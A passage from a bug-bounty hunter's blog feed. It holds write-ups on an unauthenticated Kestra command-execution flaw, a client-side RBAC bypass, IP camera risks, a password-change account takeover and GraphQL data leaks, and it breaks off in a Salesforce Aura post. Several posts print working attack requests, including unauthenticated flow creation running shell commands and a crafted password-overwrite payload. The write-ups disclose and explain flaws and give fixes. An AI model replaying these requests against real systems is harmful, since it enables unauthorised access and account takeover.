run_cmd<br>    type: io.kestra.plugin.scripts.shell.Commands<br>    taskRunner:<br>      type: io.kestra.plugin.scripts.runner.docker.Docker<br>    commands:<br>      - whoami<br>      - id<br>      - hostname</pre><p>The server accepted the payload without asking for any login credentials and returned a 200 OK response.</p><h3>Step 2: Unauthenticated Execution Trigger</h3><p>Next, I triggered the flow via /api/v1/main/executions/configs/configs. Again, because the URL ended in configs, authentication was completely bypassed.</p><pre>POST /api/v1/main/executions/configs/configs HTTP/2<br>Host: kestra.target.com<br>Content-Type: multipart/form-data; boundary=x</pre><pre>--x<br>Content-Disposition: form-data; name=&quot;body&quot;</pre><pre>{}<br>--x--</pre><p>The server responded with an execution ID. Checking the job status confirmed that the commands (whoami, id, hostname) executed successfully inside a container as root.</p><h3>The Plot Twist: Out of Scope</h3><p>With complete command execution confirmed, I wrote a comprehensive report detailing the severity (CVSS 10.0), impact, and remediation steps, keeping my testing minimal and benign to adhere to Safe Harbor rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*NKbI_1dYsJI6mNfEahclMw.jpeg" /></figure><p>A few days later, the report was closed as <strong>Out of Scope / Third-Party</strong>.</p><p>Even though the server was on a company-owned domain and exposed critical internal capabilities, the security policy excluded third-party software installations that were not explicitly listed in the main scope assets.</p><p>While it was disappointing not to receive a bounty payout for a CVSS 10.0 finding, finding my first real-life RCE was a massive technical win and a key milestone in my security journey.</p><h3>Key Lessons for Bug Hunters &amp; Developers</h3><ul><li><strong>For Developers:</strong> Never rely on simple string operations like endsWith() for authentication filters. Use strict, exact route matching or centralized security frameworks to manage public vs. private routes.</li><li><strong>For Security Researchers:</strong> Always check for recent CVEs when you encounter third-party management tools during recon.</li></ul><p>Have you ever found a critical bug only to have it marked as third-party or out-of-scope? Let’s connect and share stories on <a href="http://www.linkedin.com/in/belal-shohaip-5a34b7306">LinkedIn</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=897bd67c529c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Role-Based Access Controls via Client-Side Generation & JS Overrides]]></title>
            <link>https://medium.com/@belalshohaip222/bypassing-role-based-access-controls-via-client-side-generation-js-overrides-f797496efb6c?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f797496efb6c</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 16:00:46 GMT</pubDate>
            <atom:updated>2026-07-03T16:00:46.279Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-o3w_nbyIyQKZ-QjPjBCnA.png" /></figure><h3>Introduction</h3><p>In web application security, there is a golden rule that developers frequently overlook: <strong>Never trust the client.</strong> Despite decades of security awareness, client-side enforcement remains one of the most common architectural flaws.</p><p>During a recent security assessment of a multi-tenant enterprise platform, I stumbled upon an authorization bypass that perfectly illustrates this concept. Here is a technical breakdown of how observing “zero network traffic” led to complete client-side exploitation.</p><h3>The Target &amp; Visual Indicators</h3><p>The application utilizes a granular Role-Based Access Control (RBAC) model. Higher tiers, like the Vault Admin, have exclusive access to data extraction tools—specifically, <strong>&quot;Export as Excel&quot;</strong> and <strong>&quot;Export as PDF&quot;</strong> functions.</p><p>When logged in as a low-privileged user, these options were not removed from the DOM. Instead, they were simply styled with a faded look and marked with the HTML disabled attribute. While hiding or disabling elements in the UI is standard for User Experience (UX), it should never be the sole line of defense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0M4YOIxNSL_cLsV13aTtRg.png" /></figure><h3>The “Aha!” Moment: The Silent Network</h3><p>To understand how the server validated these export requests, I logged into an Admin account, cleared my Network tab, and initiated an export.</p><p>To my surprise, <strong>no HTTP requests were generated.</strong> The file download was instantaneous, and Burp Suite intercepted nothing.</p><pre>[User Action: Click Export] ---&gt; (Local JavaScript Processes Data) ---&gt; [File Downloads Instantly]<br>                                              ^<br>                                      NO SERVER INTERACTION</pre><p>This structural pattern was an immediate red flag. If the server isn’t processing the export request, it means:</p><ul><li>The dataset is already loaded into the frontend state.</li><li>The compilation, formatting, and rendering of the Excel/PDF files are happening entirely via client-side JavaScript libraries.</li><li><strong>Crucially:</strong> The authorization check is happening entirely in the browser.</li></ul><h3>Overcoming the Frontend Barrier (The React Scope Challenge)</h3><p>My initial exploitation plan was straightforward: find the client-side function responsible for parsing the data and invoke it directly from the developer console.</p><p>However, the application was built using <strong>React</strong>. Due to React’s component scoping and encapsulation, internal functions are not exposed globally on the window object. Attempting to call the handling functions directly from the console resulted in reference errors.</p><h3>The Exploit: Weaponizing Local Overrides</h3><p>Instead of trying to extract the encapsulated function, I attacked the logic governing the UI restriction itself.</p><ul><li><strong>Locating the Logic:</strong> I searched the formatted JavaScript bundles for references to the export buttons and the state controlling the disabled property.</li><li><strong>Identifying the Check:</strong> I discovered a conditional evaluation that checked the user’s session object for the role_name property before rendering the component state.</li><li><strong>Modifying Reality:</strong> Using the <strong>Local Overrides</strong> feature in Chrome DevTools, I patched the minified JavaScript file. I intercepted the conditional block and forced the UI evaluation to ignore the role checking, ensuring that the disabled property remained false.</li></ul><pre>// Original Minified Logic (Concept)<br>disabled: t.userRole !== &quot;vault_admin&quot;</pre><pre>// Patched Logic via DevTools<br>disabled: false</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFhU8T3aXwGEyRvL-YiAHw.png" /></figure><p>After saving the override and refreshing the page on the low-privileged account, the buttons became fully active. Because the underlying raw data was already available in the client state, clicking the unlocked buttons triggered the local parsing engine, successfully exporting the restricted datasets without a single complaint from the backend.</p><h3>Key Takeaways &amp; Remediation</h3><p>This vulnerability showcases that visual obfuscation is not access control.</p><ul><li><strong>For Pentesters:</strong> Always monitor your network tab during high-privilege actions. If an action happens silently on the network, the validation is inherently broken.</li><li><strong>For Developers:</strong> If data is sensitive enough to require role restrictions, it must not be shipped to the client-side state of unauthorized users in the first place. Export functionalities should ideally be processed server-side, where session permissions are cryptographically validated against the active database entry.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f797496efb6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond the Lens: Why Your Unsecured IP Camera is a Trojan Horse]]></title>
            <link>https://medium.com/@belalshohaip222/beyond-the-lens-why-your-unsecured-ip-camera-is-a-trojan-horse-51627bb6c432?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/51627bb6c432</guid>
            <category><![CDATA[cameras]]></category>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[security-camera]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[iot]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Wed, 29 Apr 2026 10:18:46 GMT</pubDate>
            <atom:updated>2026-04-29T10:18:46.172Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTw_6OixXOX8Xa-fuPsteA.png" /></figure><p><strong>As a penetration tester, I often hear a dangerously naive response when I warn people about leaving their security cameras unsecured or using default passwords:</strong> &gt; <em>“So what if they hack it? What are they going to see? My empty driveway? Let them watch!”</em></p><p>This mindset stems from a fundamental misunderstanding of what a modern security camera actually is. The assumption is that a camera is just a “dumb” piece of glass and plastic that captures video and sends it to a recording box. The reality, however, is much more alarming.</p><p>If you think a hacker’s primary goal is just to spy on your living room, you are severely underestimating the threat landscape. Let’s dive into why an unsecured IP camera is one of the most dangerous vulnerabilities you can have on your network.</p><h3>The Reality Check: Analog vs. IP Cameras</h3><p>To understand the risk, we first need to distinguish between the two main types of surveillance cameras:</p><ol><li><strong>Analog Cameras (CCTV):</strong> These are the older, traditional cameras. They are essentially “dumb” devices that transmit electrical video signals via coaxial cables directly to a Digital Video Recorder (DVR). They do not have IP addresses and cannot connect to the internet on their own.</li><li><strong>IP Cameras (Internet Protocol Cameras):</strong> This is the modern standard and the focus of our discussion.</li></ol><p>From an engineering and cybersecurity perspective, an IP camera is <strong>not just a camera</strong>. It is a fully functional, miniature computer sitting on your network. It has its own CPU, RAM, ROM, and runs a complete operating system (almost always a stripped-down version of Linux).</p><p>Because it is a computer, it gets assigned a local IP address (e.g., 192.168.1.50). It processes data, connects to your router, and often communicates directly with cloud servers. When you leave its default password intact (admin/123456) or expose it directly to the internet without updating its firmware, you aren&#39;t just exposing a video feed—you are handing over the keys to a Linux machine inside your perimeter.</p><h3>The Real Threats (It’s Not Just About Spying)</h3><p>When an attacker compromises your IP camera, watching the video feed is usually the least of their concerns. Here is what actually happens:</p><h3>1. Conscripting Your Camera into a Botnet Army</h3><p>Because IP cameras are constantly powered on and connected to high-speed internet, they are the perfect targets for automated malware. Attackers will use scripts to scan the internet, find cameras with default credentials or unpatched vulnerabilities, and infect them. Your camera becomes a “Zombie” in a massive Botnet (like the infamous <strong>Mirai Botnet</strong>). The attacker can then command your camera, along with hundreds of thousands of others, to launch massive Distributed Denial of Service (DDoS) attacks against major websites or infrastructure. Not only does this contribute to global cybercrime, but it also completely drains your local network’s bandwidth and resources.</p><h3>2. The Trojan Horse: Network Pivoting</h3><p>In Red Teaming, we look for the path of least resistance. Firewalls and modern operating systems are hard to crack, but IoT devices like cameras are notoriously fragile. Once a hacker gains root access to your IP camera, they use it as a foothold. This technique is called <strong>Pivoting</strong> (or lateral movement). From the compromised camera, the attacker is now <em>inside</em> your trusted local network. They can start scanning and attacking other devices — like your personal laptop, your smartphone, or your company’s internal servers — bypassing the router’s external firewall entirely.</p><h3>3. Network Sniffing and MITM Attacks</h3><p>Since the camera is a Linux machine connected to your network, an attacker can install networking tools (like tcpdump) on it. This allows them to passively monitor (sniff) the traffic flowing across your network. They can execute Man-in-the-Middle (MITM) attacks, potentially capturing unencrypted data, session cookies, or credentials from other devices sharing the same network.</p><h3>4. Blindfolding the Camera (Targeted DoS)</h3><p>If the camera is actually guarding something valuable (a safe, a server room, or a storefront), hackers don’t need to loop the video like in a Hollywood heist movie. They can simply launch a localized Denial of Service attack against the camera itself. By flooding the camera’s minimal RAM and CPU with garbage requests, the camera will crash, freeze, or drop offline exactly when a physical break-in occurs. The camera becomes literally useless when you need it most.</p><h3>5. State-Sponsored Surveillance and APTs</h3><p>On a macro level, compromised IP cameras are frequently targeted by Advanced Persistent Threats (APTs) and state-sponsored actors. We have seen massive campaigns in various regions where thousands of cameras are systematically compromised not for petty crime, but for mass intelligence gathering, monitoring critical infrastructure, or political espionage.</p><h3>Conclusion</h3><p>An IP camera is a powerful tool for physical security, but if misconfigured, it becomes a devastating liability for your cybersecurity. Treating a smart camera like a dumb appliance is a recipe for disaster.</p><p>The threats are automated, relentless, and entirely indifferent to who you are. They are simply looking for an open door.</p><p><em>In my next write-up, we will switch from the offensive perspective to the defensive. I will walk you through exactly how to secure your IP cameras, how to patch these critical vulnerabilities, and how to check if your devices have already been compromised.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51627bb6c432" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Missing Link: How a Broken Access Control Led to a Full Account Takeover (ATO)]]></title>
            <link>https://medium.com/@belalshohaip222/the-missing-link-how-a-broken-access-control-led-to-a-full-account-takeover-ato-607436c5b636?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/607436c5b636</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 12:10:01 GMT</pubDate>
            <atom:updated>2026-04-23T12:10:01.077Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjPaFmfHDHfvfp_KqJyuHA.jpeg" /></figure><h3>Introduction: The Illusion of Security</h3><p>In modern web applications, the User Interface (UI) often acts as the first line of defense. It guides users, enforces rules, and prevents them from making invalid requests. But as Bug Bounty Hunters, we know one golden rule: <strong>Never trust the client.</strong> Just because the UI enforces a rule doesn’t mean the backend API does.</p><p>Recently, while hunting on a private bug bounty program (for a critical fleet management platform), I discovered a severe <strong>Broken Access Control</strong> vulnerability. The application appeared to enforce a strict “Current Password” check before allowing a password change. However, by understanding how the API requests were sequenced and finding a missing logical link, I was able to bypass this check entirely, escalating a temporary session compromise into a <strong>Permanent Account Takeover (ATO)</strong>.</p><p>Here is the story of how a seemingly secure password change mechanism was broken.</p><h3>The Premise: How the Password Change Was Supposed to Work</h3><p>I started by observing the intended workflow. I logged into my test account, navigated to the profile settings, and clicked “Change Password.”</p><p>As expected, the UI presented a standard form requiring three fields:</p><ol><li>Current Password</li><li>New Password</li><li>Confirm New Password</li></ol><p>I filled out the form and intercepted the traffic using Burp Suite to see what was happening under the hood. I noticed that clicking “Save” triggered <strong>two distinct API requests</strong> in sequence:</p><p><strong>Request 1: The Authentication Check</strong></p><p>The client sent an Authenticate request to the /apiv1 endpoint containing the <em>Current Password</em>.</p><p>If the server responded with a success (Valid Password), the UI proceeded to the next step.</p><p><strong>Request 2: The Update Request</strong></p><p>The client then sent a Set request to the same /apiv1 endpoint, containing a massive JSON payload with the user&#39;s profile data, including a new key: &quot;password&quot;: &quot;NewPassword123!&quot;.</p><p>Everything looked logical on the surface. The UI was doing its job perfectly. But my hacker mindset kicked in with a critical question: <strong>How does the server know that Request 1 actually happened before processing Request 2?</strong></p><h3>The Missing Link: Server-Side Amnesia</h3><p>I stared at the two requests. There was no temporary token, no specific authorization header, and no session flag linking the successful Authenticate request to the subsequent Set request.</p><p>The security of the password change relied entirely on the UI’s promise: <em>“I swear, Server, I already checked their old password. You can trust me to update it now.”</em></p><p>To prove this theory, I decided to test if the server suffered from “Amnesia.” Could I just skip the Authentication step entirely?</p><h3>The Exploit: Bypassing the Current Password Check</h3><p>The exploitation phase was incredibly straightforward:</p><ol><li>I navigated to the target application using an active session (simulating a scenario where an attacker found an unlocked computer or hijacked a valid session cookie).</li><li>I did <strong>not</strong> use the UI to change the password.</li><li>Instead, I went directly to Burp Suite, took a generic Set profile update request, and manually injected the password change parameter into the JSON payload:</li><li>&quot;password&quot;: &quot;Hacking@123&quot;</li><li>I sent this isolated Set request to the server, completely skipping the Authenticate request.</li></ol><p><strong>The Malicious Payload:</strong></p><pre>POST /apiv1 HTTP/2<br>Host: bugcrowd.target.com<br>Cookie: sessionId=0x46bkhhqCmDatRopL0Xgg;<br>Content-Type: text/plain;charset=UTF-8</pre><pre>{<br>  &quot;method&quot;: &quot;Set&quot;,<br>  &quot;params&quot;: {<br>    &quot;typeName&quot;: &quot;User&quot;,<br>    &quot;entity&quot;: {<br>      &quot;id&quot;: &quot;b5&quot;,<br>      &quot;firstName&quot;: &quot;Bugcrowd&quot;,<br>      &quot;lastName&quot;: &quot;Ninja&quot;,<br>      &quot;name&quot;: &quot;golden-meadow@bugcrowdninja.com&quot;,<br>      &quot;password&quot;: &quot;Hacking@123&quot; <br>    },<br>    &quot;credentials&quot;: {<br>      &quot;sessionId&quot;: &quot;0x46bkhhqCmDatRopL0Xgg&quot;,<br>      &quot;userName&quot;: &quot;golden-meadow@bugcrowdninja.com&quot;<br>    }<br>  }<br>}</pre><p>I held my breath.</p><p><strong>Response:</strong> HTTP 200 OK. The server processed the request.</p><p>I immediately opened a new incognito window and tried logging in with the victim’s email and my new password (Hacking@123).</p><p><strong>Login Successful.</strong> I had successfully changed the password without ever knowing the current one. The Account Takeover was complete. 🎯</p><h3>The Impact: Why This is Critical</h3><p>In the context of this specific application (a logistics and fleet management platform), an Account Takeover is not just a privacy issue; it’s an operational catastrophe.</p><p>By bypassing this check, an attacker can turn a temporary session compromise (like finding an unlocked terminal in a warehouse) into a <strong>permanent lockout</strong>.</p><p>If a Fleet Administrator’s account is hijacked:</p><ul><li><strong>Operational Paralysis:</strong> The company loses real-time visibility over its vehicles and assets.</li><li><strong>Safety Risks:</strong> Critical alerts (accidents, harsh driving, panic buttons) cannot be monitored or addressed.</li><li><strong>Financial Loss:</strong> Inability to manage dispatching leads to delayed deliveries and violated SLAs.</li></ul><p>The attacker effectively holds the real-world operations of the company hostage.</p><h3>The Root Cause &amp; Remediation</h3><p>The root cause of this vulnerability is a classic case of <strong>Improper Access Control</strong> and failing to enforce state or authorization on critical actions at the API level. The API endpoint (POST /apiv1 with method: Set) updated user objects blindly without verifying if the context of the request (a password change) was authorized.</p><p><strong>How to fix it:</strong></p><ul><li><strong>Require Old Password in the Payload:</strong> The most straightforward fix is to redesign the Set API request to explicitly require the oldPassword alongside the newPassword whenever a password change is attempted. The backend must validate the old password hash before committing the update.</li><li><strong>Cryptographic Linking (Tokens):</strong> Alternatively, if the two-step architecture is required, the Authenticate endpoint should return a short-lived, single-use token upon successful validation of the old password. The Set request must then require this exact token to authorize the password modification.</li></ul><h3>Key Takeaways for Hunters 🕵️‍♂️</h3><ul><li><strong>Don’t Trust the UI Workflow:</strong> Just because a form asks for an “Old Password” or sends multiple sequential requests, doesn’t mean the backend actually enforces that sequence.</li><li><strong>Look for the “Missing Link”:</strong> Whenever you see a multi-step process (Step A validates, Step B executes), ask yourself: <em>How are these steps linked?</em> If there’s no cryptographic token or session flag linking them, try executing Step B directly.</li><li><strong>Isolate and Modify:</strong> Take standard profile update requests and try injecting sensitive parameters (like &quot;password&quot;, &quot;role&quot;, or &quot;email&quot;) to see if the server processes them blindly.</li></ul><p>This bug was a fantastic reminder that sometimes the most critical vulnerabilities are hidden in plain sight, disguised by a well-designed User Interface.</p><p><strong>Happy Hacking! 🔥</strong></p><h3>Let’s Connect! 🌐</h3><p>If you enjoyed this writeup, let’s stay connected! I regularly share bug bounty tips, methodologies, and security insights.</p><ul><li><strong>LinkedIn:</strong><a href="http://www.linkedin.com/in/belal-shohaip-5a34b7306"> Connect with me here</a> 👔</li><li><strong>X (Twitter):</strong> <a href="https://x.com/BelScarabX">Follow me here</a> 🐦</li></ul><p><strong>Don’t forget to drop 50 claps 👏 if you found this helpful!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=607436c5b636" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The GraphQL Goldmine: Why You Should Test Every Single Query for Broken Access Control]]></title>
            <link>https://medium.com/@belalshohaip222/the-graphql-goldmine-why-you-should-test-every-single-query-for-broken-access-control-44253dbc3b28?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/44253dbc3b28</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[introspection]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 16:25:42 GMT</pubDate>
            <atom:updated>2026-04-11T16:25:42.005Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IdYQdOfyfbWsmB6Ed2PxKw.jpeg" /></figure><h3>Introduction: The Double-Edged Sword of GraphQL</h3><p>When a target uses REST APIs, finding hidden endpoints requires aggressive fuzzing and directory brute-forcing. But when a target uses <strong>GraphQL</strong>, the application often hands you its entire API documentation on a silver platter.</p><p>GraphQL operates through a single endpoint (usually /graphql). To manage this, developers often leave <strong>Introspection</strong> enabled. Introspection is a built-in feature that allows anyone to query the server for its schema—meaning you can ask the server, <em>&quot;What queries and mutations do you support?&quot;</em> and it will tell you everything.</p><p>While finding an open Introspection query is a known low-hanging fruit, the real impact lies in what you do <em>after</em> you get the schema. Many bug hunters stop at just reporting “Introspection Enabled.” In this writeup, I’ll share how I used Introspection to map a target’s schema and uncovered severe unauthenticated Information Disclosures by testing forgotten queries.</p><h3>The Methodology: Leave No Query Untested</h3><p>When developers implement authorization in GraphQL, they often focus on the obvious, high-risk mutations (e.g., deleteUser, updatePayment). However, they frequently forget to apply these same strict authorization checks to analytical, statistical, or internal configuration queries.</p><p><strong>My approach when I see GraphQL:</strong></p><ol><li><strong>Extract the Schema:</strong> I use the <strong>InQL</strong> extension in Burp Suite (or a simple Introspection query) to dump the entire schema.</li><li><strong>Strip Authentication:</strong> I remove all Authorization headers and Session Cookies from my requests.</li><li><strong>Automate/Iterate:</strong> I systematically send every single Query and Mutation found in the schema to the server as an <strong>unauthenticated (anonymous) user</strong>.</li></ol><p>Recently, this exact methodology led me to uncover a massive internal data leak on a large corporate Git instance.</p><h3>The Case Study: Uncovering the “Crown Jewels” Map</h3><p>I was testing a target (let’s call it git.target.cloud). I intercepted the traffic and spotted the /api/graphql endpoint.</p><p>I sent the classic Introspection query:</p><pre>query IntrospectionQuery {<br>  __schema {<br>    queryType {<br>      fields {<br>        name<br>      }<br>    }<br>  }<br>}</pre><p>The server responded with the full schema. I loaded it into Burp’s <strong>InQL Scanner</strong> and began testing the queries without any authentication tokens. While most standard queries returned 401 Unauthorized or GraphQLError, three specific queries returned 200 OK and leaked highly sensitive internal corporate data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKFS5raFkk8L6Z2jlFUvaA.png" /><figcaption>InQL interface</figcaption></figure><p>Here is what I found:</p><h3>Leak 1: The “Crown Jewel” Enumeration (User Roles &amp; Counts)</h3><p>The schema revealed two queries: standardRoles and standardRole. I sent a request as an unauthenticated user to see what they do.</p><p><strong>The Request:</strong></p><pre>query {<br>  standardRoles(first: 10) {<br>    nodes {<br>      name<br>      accessLevel<br>      usersCount<br>    }<br>  }<br>}</pre><p><strong>The Vulnerable Response:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;standardRoles&quot;: {<br>      &quot;nodes&quot;: [<br>        {<br>          &quot;name&quot;: &quot;Developer&quot;,<br>          &quot;accessLevel&quot;: 30,<br>          &quot;usersCount&quot;: 1084<br>        },<br>        {<br>          &quot;name&quot;: &quot;Owner&quot;,<br>          &quot;accessLevel&quot;: 50,<br>          &quot;usersCount&quot;: 13 <br>        }<br>      ]<br>    }<br>  }<br>}</pre><p><strong>The Impact:</strong> This is a “treasure map” for an attacker. Without any authentication, I discovered the exact workforce size and structure of the instance. More critically, I learned there are exactly <strong>13 “Owners”</strong> (the highest-level administrators). An attacker can now focus all their OSINT and spear-phishing efforts on identifying just one of these 13 individuals to take over the entire instance.</p><h3>Leak 2: The RBAC Permissions Matrix</h3><p>Continuing down the list, I tested a query named memberRolePermissions.</p><p><strong>The Request:</strong></p><pre>query {<br>  memberRolePermissions(first: 20) {<br>    nodes {<br>      name<br>      value<br>      description<br>    }<br>  }<br>}</pre><p><strong>The Vulnerable Response:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;memberRolePermissions&quot;: {<br>      &quot;nodes&quot;: [<br>        {<br>          &quot;name&quot;: &quot;Manage CI/CD variables&quot;,<br>          &quot;value&quot;: &quot;ADMIN_CICD_VARIABLES&quot;<br>        },<br>        {<br>          &quot;name&quot;: &quot;Manage runners&quot;,<br>          &quot;value&quot;: &quot;ADMIN_RUNNERS&quot;<br>        },<br>        {<br>          &quot;name&quot;: &quot;Delete project&quot;,<br>          &quot;value&quot;: &quot;REMOVE_PROJECT&quot;<br>        }<br>      ]<br>    }<br>  }<br>}</pre><p><strong>The Impact:</strong> This leaked the entire catalog of internal Role-Based Access Control (RBAC) permissions. It gives an attacker a complete list of privilege escalation targets. Instead of blind guessing, the attacker now knows exact internal permission names like ADMIN_CICD_VARIABLES to target for stealing production secrets.</p><h3>Leak 3: The Defender’s Playbook (Compliance Controls)</h3><p>Finally, I tested the complianceRequirementControls query.</p><p><strong>The Request:</strong></p><pre>query {<br>  complianceRequirementControls {<br>    controlExpressions {<br>      id<br>      name<br>    }<br>  }<br>}</pre><p><strong>The Vulnerable Response:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;complianceRequirementControls&quot;: {<br>      &quot;controlExpressions&quot;: [<br>        {&quot;id&quot;:&quot;scanner_sast_running&quot;,&quot;name&quot;:&quot;SAST running&quot;},<br>        {&quot;id&quot;:&quot;minimum_approvals_required_2&quot;,&quot;name&quot;:&quot;At least two approvals&quot;},<br>        {&quot;id&quot;:&quot;require_mfa_for_contributors&quot;,&quot;name&quot;:&quot;Require MFA for contributors&quot;},<br>        {&quot;id&quot;:&quot;scanner_secret_detection_running&quot;,&quot;name&quot;:&quot;Secret detection running&quot;}<br>      ]<br>    }<br>  }<br>}</pre><p><strong>The Impact:</strong> This was the most fascinating leak. It revealed the exact security posture and compliance rules configured on the instance. An attacker gets the “defender’s playbook.” By analyzing this list, an attacker knows exactly what defenses to evade, and more importantly, <strong>what defenses are missing</strong> (blind spots).</p><h3>Root Cause: Why Does This Happen?</h3><p>In GraphQL, authorization needs to be handled at the <strong>Resolver</strong> level.</p><p>Developers often remember to write authorization middleware for mutations that alter data (e.g., updateProfile), but they forget to add these checks to resolvers that fetch configurations, metadata, or statistics. Because GraphQL routes everything through one endpoint (/graphql), standard web application firewalls (WAFs) or endpoint-based access controls fail to protect these specific queries.</p><h3>Takeaways for Bug Hunters 🕵️‍♂️</h3><ul><li><strong>Introspection is just the beginning:</strong> Don’t just report “Introspection Enabled” as an Informational bug. Use it to map the attack surface.</li><li><strong>Use Burp Extensions:</strong> Tools like <strong>InQL</strong> or <strong>GraphQL Raider</strong> are lifesavers. They parse the schema and generate ready-to-use requests for every query and mutation.</li><li><strong>Test EVERYTHING Unauthenticated:</strong> Once you have the queries, drop your cookies and headers. Send every query. You will be surprised by how much internal metadata and statistics are left completely unprotected.</li><li><strong>Look for Business Logic flaws:</strong> Just because a query doesn’t leak passwords doesn’t mean it’s secure. Leaking RBAC matrices, security configurations, or user statistics can be critical findings in the right context.</li></ul><h3>Let’s Connect! 🌐</h3><p>If you found this methodology helpful, let’s stay connected! I regularly share bug bounty tips, writeups, and security insights.</p><ul><li><strong>LinkedIn:</strong><a href="http://www.linkedin.com/in/belal-shohaip-5a34b7306"> Connect with me here </a>👔</li><li><strong>X (Twitter):</strong> <a href="https://x.com/BelScarabX">Follow me here</a> 🐦</li></ul><p><strong>Don’t forget to drop 50 claps 👏 if you liked the article! Happy Hacking! 🔥</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44253dbc3b28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The “Drop Everything” Bypass: Uncovering an Access Control Flaw in Salesforce Aura]]></title>
            <link>https://medium.com/@belalshohaip222/the-drop-everything-bypass-uncovering-an-access-control-flaw-in-salesforce-aura-691de0c9ab76?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/691de0c9ab76</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[salesforce]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[aura]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 10 Apr 2026 14:53:20 GMT</pubDate>
            <atom:updated>2026-04-10T14:59:08.458Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EuLqyPeE7lXYpWhHo6AaMA.jpeg" /></figure><h3>Introduction: Not Every Bug is a P1 (And That’s Okay)</h3><p>In the Bug Bounty community, we often celebrate the Criticals — the Remote Code Executions and the Full Account Takeovers. But sometimes, the lower-severity bugs (P4s) carry the most fascinating lessons about how backend logic can fail in unexpected ways.</p><p>Recently, I found a lightweight but highly intriguing <strong>Broken Access Control</strong> vulnerability on a support portal built with <strong>Salesforce</strong>. The flaw allowed me to manipulate article ratings (Likes/Dislikes) and submit anonymous feedback without any authentication.</p><p>Here is the story of how a 403 Forbidden trickery led me to discover that sometimes, to bypass a security check, you just have to remove <em>everything</em>.</p><h3>Phase 1: The Standard Test (And The 403 Wall)</h3><p>The target (let’s call it support.target.com) was a knowledge base and support hub. Users could read articles, vote on them (Like/Dislike), and submit feedback if the information was inaccurate.</p><p>My first instinct when testing these features is to check for Unauthenticated Access. I intercepted a “Like” request in Burp Suite.</p><p>The standard procedure for this is simple: <strong>Drop the Cookies and send the request.</strong> I did just that, expecting the server to process my anonymous like.</p><p><strong>Result:</strong> 403 Forbidden.</p><p>The server firmly rejected my request. At that moment, I honestly felt the endpoint was secure. The Access Control seemed solid, and I almost moved on to another feature. But something told me to look closer at the request body.</p><h3>Phase 2: Analyzing the Salesforce Aura Anatomy</h3><p>I sent the original, authenticated request to Burp Repeater and started dissecting the payload. Salesforce Aura framework requests have a very distinct, somewhat messy structure. The body was divided into four main parts:</p><ol><li>message: Contains the actual JSON payload and the action being performed (voteTopic).</li><li>aura.context: Environment and routing context.</li><li>aura.pageURI: The URL where the action originated.</li><li>aura.token: A specific anti-CSRF/Authorization token unique to the user session.</li></ol><p>I noticed that aura.token was quite prominent. I thought, <em>&quot;What if the server relies on this token instead of cookies?&quot;</em> So, I kept the cookies but removed the aura.token.</p><p><strong>Result:</strong> 403 Forbidden.</p><p>Now I was confused. The server was validating <em>both</em> the Cookies and the Token. In my experience, applications usually rely on one primary method for authentication on a specific endpoint. Checking both seemed robust.</p><h3>Phase 3: The “What If?” Moment</h3><p>I sat back and thought about how the backend code might be written.</p><p>What if the 